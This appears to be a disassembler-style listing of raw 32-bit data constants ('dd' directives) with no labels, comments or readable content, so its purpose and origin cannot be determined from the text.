dd 15C4B821h, 0E9500299h, 4A329D95h, 0EFD07A43h, 6B009422h
dd 52BE9C89h, 164E472Eh, 0C68034h, 0CBA6E728h, 33007355h
dd 9F7CEAD4h, 0DA84A5h, 184D8296h, 78CCA263h, 8000A1F8h
dd 0B9403D5Bh, 0FAE0C3h, 0E92D164Dh, 1810F1CFh, 88F8C0Eh
dd 0F283E091h, 42831C2h, 417F0D74h, 68ACC0C3h, 0E805F7FFh
dd 456F0B17h, 6E7764C2h, 0A26700D8h, 0CEB52BBh, 28F8CDEEh
dd 1E05EF00h, 0E9FA0DB4h, 402200BCh, 7C3B9E7Fh, 7B03F8D4h
dd 0F2B1A6AEh, 4891F8FDh, 0F9DD0068h, 8FA76EF6h, 13030F9Ah
dd 16A25D72h, 0B021009Ch, 0A49EFA42h, 0D709EC01h, 77DC886h
dd 11D9790Ch, 438C58Ch, 521B9100h, 8507F984h, 0BB469900h
dd 6EE2F1E6h, 0E80D18D9h, 0FC2ED078h, 0B5854B00h, 0F8D203BBh
dd 11D7B2Ah, 2DD7113Bh, 2433FD2Fh, 3E2B9ECh, 34524824h
dd 3E40B41Ch, 0AF02649h, 154D0BEEh, 0E400D1F8h, 46890E31h
dd 0A003AC24h, 0C39BFA05h, 0F599CC00h, 3DB4D8F4h, 0A080F6D3h
dd 2D6EDE3Ah, 0F12C0F81h, 0C000C81Fh, 18BBC6DCh, 8DE8C2h
dd 0E1475D17h, 5A1370FAh, 39D39B07h, 0D480F28Ah, 0F1CC5Ch
dd 55FEA42Fh, 8E1DD5E3h, 7EC7700h, 0F334B74Fh, 82B0463h
dd 807FB5D2h, 0D00971BFh, 0D87841F0h, 0CDF7491Fh, 832C95C0h
dd 0AE2998h, 2F3792CEh, 821C242h, 0FFD3DC00h, 836EC4A8h
dd 132800B5h, 3185E7FAh, 610F8630h, 4398C8DAh, 0E0812963h
dd 0A1C7E6h, 0BFE99CB1h, 99B4C5DCh, 7B46FE00h, 5C77A54Bh
dd 9D76F6h, 0A1E4F58h, 0EB8D53E5h, 0F284149Bh, 50C01714h
dd 94A0D87Fh, 8ED68054h, 0B3DFBE38h, 0E6C09E03h, 611412h
dd 0C9D10382h, 7CC452EDh, 78A55B48h, 2E394F07h, 74A00E90h
dd 3A230C44h, 173E8F9h, 0D993255Bh, 80573ACAh, 52EABDF8h
dd 1FFEC2DAh, 6CD29A87h, 0AAA9876Ch, 4C5863C4h, 0BAEE50E8h
dd 2501D87Ch, 0EB2FDF5Ah, 62C1C2B1h, 632D30h, 0C13D3CFFh
dd 57D4EEA4h, 2FDD861Eh, 39D2EB40h, 4C5385BDh, 3503D8C4h
dd 0FB1D7360h, 7809DBE0h, 79F4CB3Ch, 9B3F6D03h, 0F6BE5B46h
dd 1E6E00A0h, 3D2027A4h, 0BB001544h, 4369182Eh, 51A235h
dd 383C6C5Eh, 2ABE9267h, 5D5A8E07h, 977032B9h, 0B2C8E1h
dd 51F40C9Dh, 7C95CA8Ch, 83B0CCA8h, 0F92CE60Eh, 0EB33A0BAh
dd 0B1155264h, 9CAD0230h, 0BC5055BCh, 360073F4h, 44FA702Bh
dd 1375F16h, 4CFFA527h, 3060643Fh, 6620C7E4h, 2D400178h
dd 111F3D39h, 12F42CBBh, 7200FB06h, 1BC86D18h, 65D9008Ch
dd 97542D6Fh, 0D303FA2Ch, 0B253CFE8h, 98C0E04Ch, 7A993D84h
dd 0A27E706h, 900010A3h, 0E2D9F704h, 240DD481h, 1C2B22h
dd 8BF83A2Eh, 92070328h, 79DEA846h, 0B3B4E500h, 0D8E85C2Dh
dd 7C588C00h, 5A725B21h, 0FFB82609h, 63148F4Ah, 0D0DC7352h
dd 0F13D31h, 71165DC3h, 4B80CB21h, 0CC869800h, 79F3B8E1h
dd 2D10064h, 2C1B955Eh, 0BA009173h, 6B199076h, 27A58A2h
dd 2E0C938Ch, 78607E08h, 241E0973h, 27005029h, 5CFB76B7h
dd 35320385h, 9F412E71h, 8CAC4380h, 67EDCC0Eh, 0C0FA2FF7h
dd 5BA337DAh, 0E9D20032h, 0BA3EA4F9h, 1B0002B4h, 5803EBC0h
dd 0E3CA5ACh, 188A2822h, 0FF720860h, 52004757h, 0E8C40905h
dd 505DA4EDh, 0FA648E03h, 99C900BBh, 7B500EE6h, 77793F98h
dd 1CD70100h, 0B202A1AAh, 9E41011Eh, 2439665Bh, 625220FFh
dd 0FB015Ch, 79E6F336h, 3D966CF5h, 0E200067Dh, 0FAC6EDAFh
dd 64007B34h, 578172E6h, 7D7692h, 0CCD977E4h, 3EB196A6h
dd 0D27138h, 0E98B37DFh, 0FDC45h, 0FBEDB538h, 3E05FDBDh
dd 0D6F19D00h, 4B6755CAh, 0E9440F1Fh, 85E030FCh, 161AFFB1h
dd 0E174CD75h, 26A15C00h, 0D8B2F73Eh, 0A305720Ch, 2000BD84h
dd 5D54A258h, 263E00BFh, 719F6B6Eh, 164BD891h, 9144EE8h
dd 396797C8h, 902937EEh, 0E62CFB96h, 2E2A1E00h, 0ACC6DA86h
dd 5EA9006Fh, 57D2A12Bh, 0F605E584h, 46F18D05h, 319F43C0h
dd 347A70h, 27DBA0C1h, 0A92E5455h, 8D96790Fh, 20FF605Ah
dd 3FB59A6Eh, 31010362h, 0E82760DEh, 0D495CC69h, 0F700EEEAh
dd 6F9A7371h, 0E2D13h, 2F29B88Ah, 0B08859C3h, 0F6E170A0h
dd 5FD30900h, 7FB4644Dh, 0AE680078h, 6331F269h, 410097EBh
dd 0EF8087CDh, 0E2724A56h, 80A001Dh, 0B9F3386Bh, 2000D235h
dd 0A9B3DCD4h, 195E4B5h, 32BDDAD5h, 0E01718ECh, 0A500E3E5h
dd 2B1B6147h, 0D58A40h, 0F4BD467Ch, 0E3F2C694h, 0F5A98E16h
dd 0C5C19700h, 7419283h, 5E24805Fh, 5687C0B4h, 82009CF3h
dd 6B85E5A6h, 0FD1829h, 33F45ABBh, 537F9788h, 9EA0731Dh
dd 8A38BC00h, 3E1A408h, 4F8D0D89h, 6B803329h, 0D70049A9h
dd 0AE7DC985h, 0E89665Ch, 0E8914B60h, 0D6F820A0h, 0EA30DFDEh
dd 245B2CE5h, 127746h, 0BCA63E2Dh, 7386277Ah, 80477B3Eh
dd 67B8EDC4h, 0B06E06E4h, 275200ADh, 2EF6C74Bh, 0D30095F9h
dd 0E1B70D16h, 3BFC7020h, 17BD997Ch, 44D68580h, 0F1BC765Dh
dd 9E5AB3Ch, 80C39823h, 3715B35Ah, 0B8DE00B5h, 8944304Bh
dd 4600AB08h, 0DB2FD982h, 7094F6h, 601477Fh, 352C56E7h
dd 36344000h, 4562EA6Eh, 0A93201FEh, 49117B6h, 0D2EFCCF1h
dd 0C69DD800h, 29712365h, 9A1B1851h, 567C50DFh, 0A2FE1007h
dd 5067A3B6h, 156911A0h, 0DAE500F1h, 21D08817h, 0A103D99Bh
dd 362FAFECh, 14AB99C8h, 7B925C8h, 64296598h, 335A20CCh
dd 701F34E2h, 0CA008212h, 178566F4h, 75800013h, 57ADB236h
dd 0E0018D2h, 0F26EFF92h, 0D57E94h, 0A8330751h, 2E01C428h
dd 55A1C3Dh, 0A0D688B3h, 0B49A700h, 0E161D5h, 0FECFED9Fh
dd 0CAB8290h, 28D13100h, 0B51B52C0h, 69B3A30h, 0EB800DB8h
dd 0DA79B77Ch, 9CE8801Ch, 4A24D107h, 1D30CCEDh, 0BAB868h
dd 87C4DA43h, 126266E0h, 90D93628h, 4C000D42h, 0CFA45817h
dd 68007BA0h, 0E8DC80DFh, 0EEF1ADh, 4CEADD5Fh, 79B6DE56h
dd 970004ECh, 466B0507h, 59524Dh, 0B00C2134h, 121F690Fh
dd 94C4A60Ah, 0FA00ADD3h, 7638EC97h, 1AB10024h, 0F7B005DDh
dd 930027FBh, 0BA8B19E6h
dd 1CCA86D2h, 800B372Fh, 85EC15DEh, 213B0110h, 0D8A4803Ch
dd 7920CE1Ah, 277C0075h, 0C7A5815Bh, 95E6DF55h, 4400AD72h
dd 38E6B7F6h, 0C80EA7h, 0A0204ECAh, 0C9B65E0Dh, 48ECA600h
dd 67B7A2BBh, 96FA5C21h, 0AE97CB00h, 35D9B05Ah, 101538h
dd 82D32F3h, 0C4FA76h, 90B84B8Ch, 25DD6871h, 7A8F0100h
dd 5FCD99B7h, 0ECAF50C1h, 0F8F0500Ch, 402A2E9Ch, 0E55700F6h
dd 0C8EF234Ah, 0C266600h, 246C553Bh, 53F52C1Bh, 47E100CFh
dd 0F71DEC76h, 21B1CE00h, 9E11B498h, 0F80B0193h, 6504158h
dd 1DCCF4D1h, 947EFC24h, 0E7A59580h, 115F7Ch, 717D9C37h
dd 8786FE92h, 0E300D892h, 0BB1AA93Ch, 169C59Fh, 0CBF77436h
dd 0D84A672Fh, 0EB003BF1h, 2458A96Ah, 241FF245h, 8048254Dh
dd 63FDC0F8h, 3C90BC91h, 5200A376h, 7993F0FCh, 3F6CD368h
dd 4609B2B8h, 0E4007E54h, 5E783BECh, 80C9AD3Fh, 97FF7641h
dd 0E2816556h, 8CA90095h, 8B72269Bh, 76098054h, 7CCEAAD2h
dd 0A803A8Fh, 659B5193h, 0C1129D16h, 0D4006FC6h, 8545FF4Dh
dd 0B87A3A9Ch, 230B4400h, 405D4C1Dh, 9DA37C0Fh, 24A996h
dd 52CC720Ch, 7A9A00DFh, 6B8864BBh, 0A2079D08h, 6E1147F3h
dd 77AA6390h, 8F950113h, 4EE029D1h, 0D052CD3Eh, 300F50ADh
dd 0C092D4A3h, 9D3C828Eh, 0C3EE6Bh, 5A84B448h, 9BB8C92Eh
dd 88F8CFh, 0F5F3D62Dh, 0D0F800CCh, 0C4FCE83Bh, 270E87B2h
dd 0A7E91Bh, 652E4083h, 0ADB8F7h, 0B58C4E79h, 8EA0363Bh
dd 0C9892200h, 0C7F8AD6h, 0EDDE4D2h, 6373342h, 76C893A0h
dd 99097421h, 80D9128Eh, 86471B6Bh, 35F300D7h, 738DA09Ah
dd 0EE7CB8EBh, 967E570Fh, 0C9532F4Ch, 2AF8005Fh, 184F0Bh
dd 1D1304F3h, 3EC3A5E6h, 18B0F0FEh, 8CD94Dh, 3D6A9E20h
dd 7E9F245Ah, 8CA10F4Bh, 0A820B92Dh, 0E9BDBA34h, 0B2BB6230h
dd 3D9CC0CCh, 460243FBh, 3C55BC6Ah, 31504EE0h, 7BF4DF01h
dd 5FF67749h, 295AF4h, 0CB0E9B46h, 668A01CFh, 7CF58800h
dd 47525119h, 593C0009h, 0F837725Ah, 30006F44h, 9C541B71h
dd 0B78A64h, 0E73A336Bh, 6A90153Bh, 0F80E113Dh, 38503C00h
dd 180D51A1h, 0F584392Ch, 0BB02D100h, 476C64C8h, 4E678D00h
dd 7F4F18BEh, 71B5801h, 9A30E500h, 0A45CF586h, 122C2200h
dd 0B226B8F2h, 193424DCh, 2B488048h, 8A51CACFh, 0C32AC500h
dd 0D9977112h, 10F90549h, 0C0B02446h, 2ACB9F35h, 39D6E400h
dd 4FAE2659h, 3CE1C9Bh, 47584021h, 0E061F396h, 263FC1FAh
dd 9CA580F4h, 9AB0F6A9h, 91C000CEh, 59789DCBh, 0E67F34B7h
dd 0CD6158h, 0D4258754h, 0FF17E81h, 0D55D5CC3h, 63DE9280h
dd 770C099Ah, 586DA648h, 763C0085h, 60F22011h, 0BF04A812h
dd 0D88CA24h, 0FD92F3C0h, 2F680009h, 8AB6D2BCh, 0DE0043C6h
dd 8CD7C4EAh, 0E41F70h, 394D1BDh, 0F1228083h, 86E1AC00h
dd 9F3368DDh, 7FF8000Ch, 59CAF55Ch, 0E20085AAh, 47A77AF0h
dd 0B5AC27E0h, 140048F8h, 0C618F6B8h, 4DA6E5D5h, 66048C96h
dd 0D04FCBB4h, 7AF9AC64h, 90AF5C0Bh, 7E5803C6h, 3BD49864h
dd 7AEEAD3h, 88560812h, 8FBF1019h, 2C0301E4h, 9722B1C3h
dd 0F3D898BCh, 0EB7F00CDh, 0FA4F9D60h, 4C2C12D3h, 0B800B0F0h
dd 7F7AC9D1h, 0ADE902DBh, 909659A2h, 3A116468h, 0CC0E760Ch
dd 0F02A1155h, 7FEB00ACh, 0F141C731h, 0F2008D5Ah, 1A0F05E9h
dd 3E6DBBB7h, 85000B58h, 6A93EB20h, 530F6F19h, 80E9D318h
dd 83A570B5h, 5618C0CDh, 0B1F3BDB4h, 0C4A1291Eh, 37B7580h
dd 90BC25h, 169298F7h, 6AE2A959h, 0E307CC01h, 0BE5FA55Dh
dd 0B214F4h, 72B1EE29h, 2761C66Bh, 0F7A7DD05h, 9801FFD6h
dd 0A540F3DBh, 5D556AF4h, 6F3DB402h, 0C02BEB9Eh, 8E3BB02Ch
dd 0A073C3Fh, 0C101AFC2h, 9DC0E6B4h, 0F0D605h, 0EA957734h
dd 0C50B7AD0h, 0A3FD7100h, 843E477Bh, 0FB961FE9h, 4C911DE1h
dd 0B278F12Ch, 1CD2E51Eh, 534FBB1Ch, 0C7E1C011h, 304E4BEBh
dd 5488DA3Dh, 0DF07264Ah, 0A836BB5Dh, 32E923E0h, 8821C03Ah
dd 7DFFF23Ch, 7E6AFE00h, 9E415A9Fh, 1D6103CDh, 0E16C451Ah
dd 0CE644A0h, 2C7E990Ch, 0F6F9F7h, 0CCE3A197h, 135FE54h
dd 0CAF21800h, 1B342C08h, 29A4618Dh, 0FF5F7A13h, 58914AD8h
dd 30B8848h, 0A20419D8h, 0A1B0A7DCh, 29CE92F4h, 30E92Ch
dd 0A74876F7h, 0BA15CBAAh, 802D6Fh, 966217FFh, 0DA2FA0h
dd 9138AB15h, 1B4697A8h, 10C93EAh, 31527781h, 342B1CDBh
dd 0D2526Fh, 0C208D834h, 0F400EF24h, 0A552F74Ah, 67D1A4h
dd 1D73596Ah, 0AD31BD4Fh, 8D41EA60h, 28866619h, 3AEC18F7h
dd 0D558157Ch, 0F8DD9739h, 80C37E1Fh, 52E9DDB5h, 0F724578h
dd 80BF3C3Fh, 0F7849A29h, 1FCD01Fh, 4A5BFA53h, 0D0203E5Fh
dd 4000A158h, 2EF1CEBDh, 78C5B792h, 0E8EE00C1h, 26D0D37Dh
dd 8601E991h, 36FCF602h, 11F425FAh, 8FC400AEh, 42DAA3BEh
dd 1F07E7DEh, 69AA467Fh, 0E43D9E30h, 0FB8100B6h, 0C3B9A9F3h
dd 1300499Ah, 40995D17h, 3B900F08h, 4C00AD9Dh, 701F66A4h
dd 0E800A3B3h, 890DD2DDh, 804F5Dh, 5BEADA71h, 2F7D84DBh
dd 13A6D7Ah, 0BB6F8061h, 0A41C26E8h, 250D00ECh, 6E20CA9Eh
dd 5B0FD03Ch, 0C0DC7D55h, 0B311BAA7h, 8728C41Bh, 3D4A4423h
dd 11117C4Fh, 0D108B0B5h, 76109DD8h, 44C88184h, 6A44CE39h
dd 427248D9h, 902EDD2Bh, 48D48E84h, 22BC441Eh, 0EA851161h
dd 0BF33682Fh, 0D6FFC922h, 0C9EC1A27h, 862D88E6h, 0CBC6770Bh
dd 0B2DB00A8h, 50E074A0h, 8D98Eh, 68701CDEh, 0E68445C5h
dd 0E4694300h, 3F48610Ch, 0A90A00ABh, 0EBFFBD1Eh, 92005902h
dd 42E12F32h, 7298A0h, 9F82216Fh, 0B6F96191h, 8E578B1Dh
dd 6F2A680h, 2C6D1Dh, 0B23A4920h, 0C255CA28h, 0F0959202h
dd 0E36A4FEDh, 0F3872DEh, 0E7B880BAh, 0B910012h, 5D7D0911h
dd 0F1C61300h, 37F383ABh, 0B61200EFh, 0F1E88C7h, 8D0038BDh
dd 0A44E1FC3h, 2955B14h, 44259E2Fh, 5FC0F711h, 93308D28h
dd 7A54485Ah, 9F6C3B55h, 0CAB61181h, 0D47C36D3h, 0C3088E39h
dd 0B825BE2h, 8A8716DCh, 0FEF000A1h, 760062A7h, 0F45645C0h
dd 0F8178Eh, 0A667849h, 0E61364C1h, 0F322102h, 80813395h
dd 0D8E1EF9Ch, 8E6200B3h, 0B6F81DA3h, 8503FA9Ch, 0E487F9FBh
dd 4290EFD2h, 9836CAh, 0CD32D1AFh, 2285B1B7h, 5C73A700h
dd 78E6C612h, 561F1F60h, 975E40C4h, 0DC3CF047h, 3F04423Dh
dd 3FB680DEh, 0CE636DA7h, 517D3Ah, 1E419F69h, 841BEA72h
dd 0F3C74300h, 505BC8D6h, 0D2ECFAh, 0CDDCBCCFh, 2C30F616h
dd 0ADB18200h, 78D101F5h, 0B0290054h, 0B5475A81h, 3400C06Ch
dd 0E1F38B3h, 3BB11AF5h, 0C5049853h, 8026FF76h, 61F4AC0Ch
dd 0EA226F00h, 9FC10F65h, 0B9A40577h, 0C2F2A357h, 0A4603B43h
dd 0EA79D187h, 34EC4403h, 0A02448AFh, 0C22E74h, 522B1FBCh
dd 0D6FD0DCBh, 68AD6500h, 0DA02A8FCh, 6AA50099h, 582F1DE7h
dd 9C0097EBh, 0B9A3A9CFh, 790CE0E5h, 66820084h, 0D162B627h
dd 0C8149981h, 7EF0DD51h, 0B9216E00h, 0A5D98996h, 0C6D10071h
dd 0E284950Ch, 18001B77h, 0B9361D7Ch, 196A7h, 7EF33AC4h
dd 0B6FD4030h, 8F4C0D00h, 77882958h, 0D6D80047h, 0CC4A517Ah
dd 0BE284684h, 3D00A515h, 0BC1996FDh, 2748CAh, 80FE9A2Dh
dd 61693E07h, 9D832B00h, 95D844Ch, 8B9038h, 76A019FAh
dd 92323652h, 480002F0h
dd 0C0E00480h, 1CC22497h, 80F2847Eh, 0FCEFD236h, 9D24A598h
dd 5000F85Fh, 0BA31B959h, 7F7CFE95h, 9A0D00C7h, 0A907C56Dh
dd 5E01D95Ah, 1C5BC005h, 36E0AD25h, 223B0009h, 2BDD6B59h
dd 8701AFC4h, 0A4134165h, 8DFCFB42h, 0EE8F03F3h, 0FFE8532Ch
dd 21CF00B7h, 5D60936Fh, 89E79696h, 1FE5020Eh, 4B2C878Ah
dd 94A01D63h, 0ED008412h, 4F3CD620h, 37790D4h, 170FF506h
dd 0A8D807E9h, 0EF24E26Eh, 0FD01B0F7h, 0B62E8B93h, 0BC7B20h
dd 0D1D041FBh, 0A811EEFEh, 522C5Ch, 60CEB5D8h, 3DBFF8h
dd 9B33C0FFh, 0EE3E02Ah, 738B8209h, 0A073000Dh, 0A81004h
dd 0B7F85E17h, 23014ECCh, 0CFA15B00h, 2689EC8Dh, 0D4470058h
dd 56D659E7h, 0C490860Eh, 0CFA0FCF0h, 7309B012h, 80B99913h
dd 6D259859h, 0A6CB012Bh, 5B909DCAh, 0E1D9ECA8h, 0F30045F2h
dd 63F05492h, 76836F5h, 0B8BE155Dh, 2F9D20C1h, 0C200EF20h
dd 97084AF6h, 16F97DDDh, 5FA26h, 74359260h, 5049FB54h
dd 931B00C0h, 362DD458h, 0C9AD005Ch, 5B8ABD56h, 7C0078D9h
dd 526E766Dh, 3939964Fh, 0C780ADB3h, 0AF9E8EA7h, 1500A30Dh
dd 0EA0536B5h, 7DEE0AC4h, 89F412F6h, 0FCEF0040h, 0D921972Bh
dd 0C9EAC300h, 70C8BB9Fh, 527F3B61h, 852F4F81h, 0C4D999D8h
dd 0E600A5FEh, 519E6367h, 0B01B1F46h, 28A3002Fh, 40718978h
dd 5309E15Bh, 80679056h, 69FFAAC4h, 7A990004h, 646A16E7h
dd 86003894h, 58D76EC1h, 9D243h, 2F108078h, 1D279C1Ch
dd 806A483Eh, 22E7708Eh, 4CFFBF82h, 0D8495ECAh, 4760017Ah
dd 4437274Dh, 0E8453Dh, 0FB06BE00h, 781F4E5Fh, 17009314h
dd 0A174FCB6h, 29B90619h, 1987F7EDh, 0BBDD1000h, 84B2094Ch
dd 53A10034h, 9C6A9424h, 0DF006FF1h, 0A0469B8Fh, 0A8CB4C60h
dd 2D8BD4h, 5C55823Eh, 99E42392h, 0F0104160h, 2AE2BDh
dd 0CC2B6BCBh, 0DFE1DE9Ah, 5E13CE00h, 43ADF016h, 4E3507B0h
dd 90BAC459h, 0D7A9DF08h, 5C00FCE0h, 5A0DC101h, 37EE34Bh
dd 6D6E799Fh, 5D9312A5h, 40EDEC88h, 0B8E00F00h, 0BB260859h
dd 42930067h, 0C26BDC90h, 0AE3C1245h, 0D64894h, 0D5762B8Eh
dd 60AB1F10h, 6356C002h, 0B300C6E1h, 93168A1Eh, 586D7F22h
dd 0D13AF8F8h, 0B132F080h, 0E833404Eh, 5361090Bh, 4C8280EDh
dd 19FD0A7h, 7FF2C815h, 0F898115Ch, 977A5795h, 3D8C6F00h
dd 0B09D45F6h, 9F0EAh, 7AB8B7BCh, 4D737C1Dh, 54EF9C00h
dd 60BF0AA2h, 0B3A700FCh, 0F4A6A05Ch, 86037803h, 0E92FC62Dh
dd 0B55AA87Ah, 63E6FCh, 1017A9D4h, 256F2952h, 0CF8C4100h
dd 45131639h, 0FDE00D5h, 2EDC32CDh, 0C900E66Eh, 0A6A9E96Bh
dd 9D602h, 8FACADBEh, 10EE1175h, 1681863Fh, 6B009F6Bh
dd 9C59201Bh, 2A901C7Ah, 3B19748h, 757E0F21h, 0D85105A0h
dd 3DA9FA00h, 25CD19B5h, 0B7A63E10h, 0E12AE480h, 8DCC1F0Ch
dd 69576C00h, 33EC45DDh, 0D2C00D5h, 0E3943228h, 8F3A0ADBh
dd 0B57C8060h, 9DC40F07h, 788E0FFDh, 5CE0E75Dh, 37AFAD89h
dd 0F1036500h, 8061534Ch, 0EA72E8h, 0A14A346Eh, 76C2E0Eh
dd 81399CE6h, 0F4880B7h, 3422BE92h, 28E46Fh, 598237BAh
dd 0CE3EA55Ah, 700ED207h, 524046C9h, 14C459Bh, 0D0159E62h
dd 0C4AF02AEh, 0C02810D4h, 0D500C041h, 0AC8E903Ah, 1C15337Ah
dd 2C98D2FEh, 48803F49h, 0C2F40299h, 0EA006D5Fh, 210F12A4h
dd 3A74F776h, 0F63BAFh, 0C6AAC3CEh, 8BCA639Ch, 6A65FA00h
dd 0CBD1E5Eh, 9ABA003Bh, 7544A0A2h, 0B71C99C5h, 3C001F65h
dd 0F56045F1h, 41220050h, 0D58C3139h, 0ED006499h, 0AFE872ADh
dd 0E21A9F98h, 0C7600F55h, 2A0EEC5h, 0B85429E0h, 0E74A0800h
dd 468C5A52h, 89CB00B5h, 3E654EB7h, 8F18D896h, 0DF31F3ACh
dd 0F2DE0023h, 0C8E21340h, 0D0F34E12h, 0D6036550h, 9261E378h
dd 55C18F3Dh, 0C2E52C22h, 76D42E4h, 0EC2704D8h, 0FDB2D080h
dd 0B4002EC5h, 56C6751Dh, 74DFFEBh, 0DABA0E14h, 5ED8E0D1h
dd 33005A02h, 0C3818095h, 36E1AF4h, 6396BA18h, 4C89B001h
dd 0B14E6008h, 2D6F400Dh, 37E0A804h, 0EA490083h, 4482703Dh
dd 2A075B48h, 0AEA69FA5h, 3298DC00h, 7D462E21h, 0DF830017h
dd 0BB9AEA3Dh, 1992D900h, 0CF528F2h, 134401D0h, 8166AECEh
dd 0E942003h, 5A4123Dh, 58A2E711h, 28A1E400h, 80A9C6A5h
dd 17E46B67h, 0E00EBA2Ah, 45B99B03h, 90B5C35Eh, 0DCE451h
dd 8E8B69E1h, 7C211E4Fh, 0BE2F293Bh, 0E864809Fh, 4AC1BCB1h
dd 3B680A26h, 0E4960Bh, 8E4C3106h, 481290CFh, 261E62C0h
dd 3930D240h, 94EC8B0h, 320FBAF5h, 4BC22E83h, 9591B290h
dd 75225301h, 8FCEA35Fh, 0A552D440h, 3FD50081h, 0A2D79A07h
dd 7E00FAABh, 0A0830E3Eh, 795F38h, 8C4BA40h, 0BBBE0AD3h
dd 0FEBAA02h, 68FD2761h, 71CBA678h, 0E8080043h, 8FA26EC4h
dd 0D600FA0Bh, 6A3A7B33h, 3A85C9D3h, 0A0CA3002h, 7D0043BDh
dd 8FD18884h, 0FB8E762h, 0D546670h, 0F3AFBAC0h, 125B99D3h
dd 250F2DACh, 32439821h, 63E9E4FEh, 8433C45Fh, 0AB043C00h
dd 0AECA4AA5h, 3D0F0087h, 0B8F939F1h, 4107A8A7h, 1A64D70Eh
dd 3718C350h, 9AF000DDh, 56C2312Bh, 0C97614A5h, 0C50EB60Fh
dd 88BAA11Eh, 82D013F4h, 0AAA41325h, 9C740078h, 1D320DF0h
dd 8FDF3938h, 8AD3034Fh, 4D04AC5Ah, 3640A4A3h, 0F4374578h
dd 983E6700h, 6CA5F87Eh, 0ED4D0051h, 94415BAAh, 0F003CD59h
dd 7A72AE90h, 6C3BE82Bh, 9A04171Eh, 98EE0016h, 10D96751h
dd 2CA29207h, 57F0B1C9h, 29505Ch, 4E562073h, 0A753F530h
dd 802FC43Bh, 46E43FECh, 0F09514h, 0B03DEDE1h, 7F4FC8B3h
dd 40349D04h, 40D0F56Ah, 2086A02Bh, 231EB382h, 28C03E8Ah
dd 765E1F29h, 0F6FA01CBh, 855D5FC0h, 0A53DC833h, 0BF622C07h
dd 1FA1B0A2h, 80E309B5h, 24CCEEF9h, 1685992h, 0EFA80C6Bh
dd 5A5C208Dh, 40A01421h, 65869799h, 0E0E2D91Eh, 26E59E40h
dd 0E6771675h, 4A0900F4h, 89291173h, 50798B0h, 5103A419h
dd 14E7B0FCh, 0C05B06D3h, 4109629Ch, 0A08B9167h, 0D3EB75Ch
dd 0AC7D58C4h, 0ABECCD00h, 16F387D4h, 3123C302h, 60945CDAh
dd 2609BF34h, 8264EC74h, 4A3B8767h, 4042CFE1h, 961FC2E4h
dd 36AB461Ch, 4059D74Fh, 0E542FC5h, 0D19D13CAh, 66400062h
dd 3F964388h, 2B019FF0h, 35381539h, 2D5D9B8h, 7782430h
dd 0A787F884h, 5843C06Eh, 60EB5D81h, 1D007754h, 0C05926C1h
dd 3B447C6Ah, 250084DBh, 8C355306h, 1200F29Eh, 2772FF6Fh
dd 38932055h, 7EB62Bh, 566010E7h, 5E3D35E2h, 0AADDD100h
dd 88975873h, 764500AFh, 64257751h, 3300E9C3h, 0A2DAB674h
dd 0F97E69h, 3F6CD2B3h, 85BED196h, 0C5B7AE00h, 0A3990DB5h
dd 0BCA92EB8h, 42950014h, 0F6619E21h, 0C95D0F00h, 0C812CD14h
dd 0A04E0130h, 179B33Ah, 50B820E2h, 0A700BF78h, 0AEEDB2C1h
dd 28DEAB7Dh, 0CCBDB8h, 8B63317Eh, 1257CFE7h, 623D3B00h
dd 8C91DC2Dh, 48F8A0B4h, 7CC20FDh, 0FEF4CEB0h, 0A340A000h
dd 8E28AE59h, 0AAEECDh, 0E09A89E9h, 4E7EC762h, 11F76600h
dd 0CEFCDE21h, 0AACD00E4h, 0DB3ED242h, 0C300E529h, 0A17305F1h
dd 460B9C2h, 31882D2Eh, 0C0FC9076h, 481C9510h, 9FFF4EB6h
dd 44809FEDh, 88B72442h, 517304C9h, 90752736h, 7AC0E424h
dd 0BDBB038Ch, 7B6A0C51h, 0D1C9F000h, 0A93FBC5Ch, 6CAC004Fh
dd 9E17E418h, 0EC2E9102h
dd 1B187C3Eh, 0DA38E6h, 2A595411h, 641DC8B9h, 84494660h
dd 0BA58B6h, 8839177Ch, 248193E4h, 8840D32Ch, 5FB36883h
dd 87311D2Dh, 0D31E45B9h, 288880A4h, 0AE009ED8h, 0FFF18125h
dd 0F636AA9h, 0A49B8E42h, 0C009835h, 5C25D07Dh, 1C00C045h
dd 0A6E5759Dh, 38BB3CD7h, 0F700DB5Fh, 0E670418Ch, 35B0DE01h
dd 0D2610500h, 0CA89D667h, 8A7C0087h, 2D6439B7h, 84005C20h
dd 69505B9Ah, 0EA30D725h, 22C314CCh, 9805F01Eh, 0AF8CA2B1h
dd 9F6C94C0h, 0B06E4F5Eh, 0A300D406h, 8429BAE9h, 3CB02B90h
dd 1080AF8Dh, 752A1D04h, 30007757h, 5DE0F8CFh, 4A01B537h
dd 782C02C6h, 1B015BD9h, 0F7ECB416h, 0F522040Eh, 0C432BDE1h
dd 0DAE443AEh, 80CDCB0Ch, 0DE18C8D7h, 7D4F3Eh, 0C6564A34h
dd 0A07AD1F1h, 3F882CACh, 0A405BD83h, 80A2A953h, 57D2C537h
dd 0FF00337Fh, 0FAB0D5A6h, 512442Ah, 0FBC01C2Fh, 0BC2090F3h
dd 31E8FF7Ah, 38D55017h, 7B237C41h, 2DC15D29h, 283870h
dd 9410BE8Dh, 0F8712FADh, 0B172A6F2h, 6BBB1700h, 0D5BC7AFAh
dd 97DA00EEh, 243E7876h, 4B006C30h, 0F041F195h, 2C99F48Fh
dd 0C45111h, 0B9FF7393h, 0FB130961h, 30023A2h, 802D8F39h
dd 45F304BDh, 804DB99Ah, 9E1AAFE8h, 0FC91B400h, 90075377h
dd 0A53800B6h, 64D0E513h, 0BB184D1Bh, 0A1FA4BAFh, 0BDF30202h
dd 399E1EDCh, 92671BE0h, 3AF0D03h, 0A0198459h, 2120C6Eh
dd 0FBBDAB10h, 484001B8h, 3F00455Ah, 4B955766h, 7A197982h
dd 0FD520044h, 83C0ED6Bh, 8009846h, 0D3DD0AB8h, 2F162h
dd 0B62C196Fh, 0C36DA3A2h, 0D27D8400h, 62662778h, 6BDA00EBh
dd 0AE369ACFh, 62CA46Dh, 5B00104Eh, 0ECCA7AD2h, 0BF58002Bh
dd 9CE83DBh, 99019803h, 9614C336h, 0D6E044B6h, 0EE3B006Ch
dd 881EEB65h, 6E00FBF1h, 44614FCDh, 0F05B97h, 5A0C1722h
dd 87569E38h, 0D3192424h, 4BC8D400h, 713ADECh, 0C618975h
dd 7968E130h, 20A4CDB0h, 0EA24417Ch, 3F8448h, 0C7B42605h
dd 347FD5h, 0F650802Eh, 720A4777h, 1C7EF0A0h, 5B4F6600h
dd 0A11B68BAh, 52B70037h, 0D3289B3Bh, 220442A7h, 5E78952Bh
